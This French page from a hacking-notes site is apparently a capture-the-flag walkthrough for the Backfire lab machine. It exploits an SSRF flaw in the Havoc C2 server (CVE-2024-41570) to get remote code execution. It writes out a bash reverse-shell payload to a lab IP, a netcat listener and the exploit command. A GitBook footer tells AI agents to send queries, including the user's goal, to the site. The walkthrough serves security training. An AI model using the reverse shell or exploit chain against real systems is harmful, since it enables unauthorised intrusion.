> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/havoc-c2-40056.md).

# Havoc-C2 - 40056

Workflow Havoc-C2 SSRF vers RCE avec livraison de charge utile hébergée et accès via shell inversé.

{% hint style="info" %}
Havoc-C2 est un outil open source de commandement et de contrôle (C2) conçu pour les tests d’intrusion et les simulations d’attaque. Il permet aux professionnels de la cybersécurité de gérer des agents malveillants implantés sur des systèmes compromis, de planifier des attaques et d’exfiltrer des données, dans un environnement contrôlé, afin d’évaluer la sécurité des infrastructures informatiques.
{% endhint %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ed0792c2a07f1a098e7797ea18f330bc21cf366%2Fimage%20(2809).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

Pour exploiter la vulnérabilité SSRF dans Havoc, créez un `payload.sh` fichier contenant le code suivant :

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

Configurez un serveur web pour héberger la charge utile :

```bash
python3 -m http.server 80
```

Écoutez sur le port 4444 avec netcat pour recevoir la connexion inverse :

```bash
nc -nlvp 4444
```

Modifiez le script d’exploitation avec les informations de cible requises, puis exécutez-le :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27bbaf425615b1e5807105d649119bd1d12079d3%2Fimage%20(2811).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**Accès utilisateur :**

Le **ilya** l’utilisateur peut être utilisé pour se connecter à la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e403769a45e757eb7bc109a5a1c37c9de35f805f%2Fimage%20(2810).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/havoc-c2-40056.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
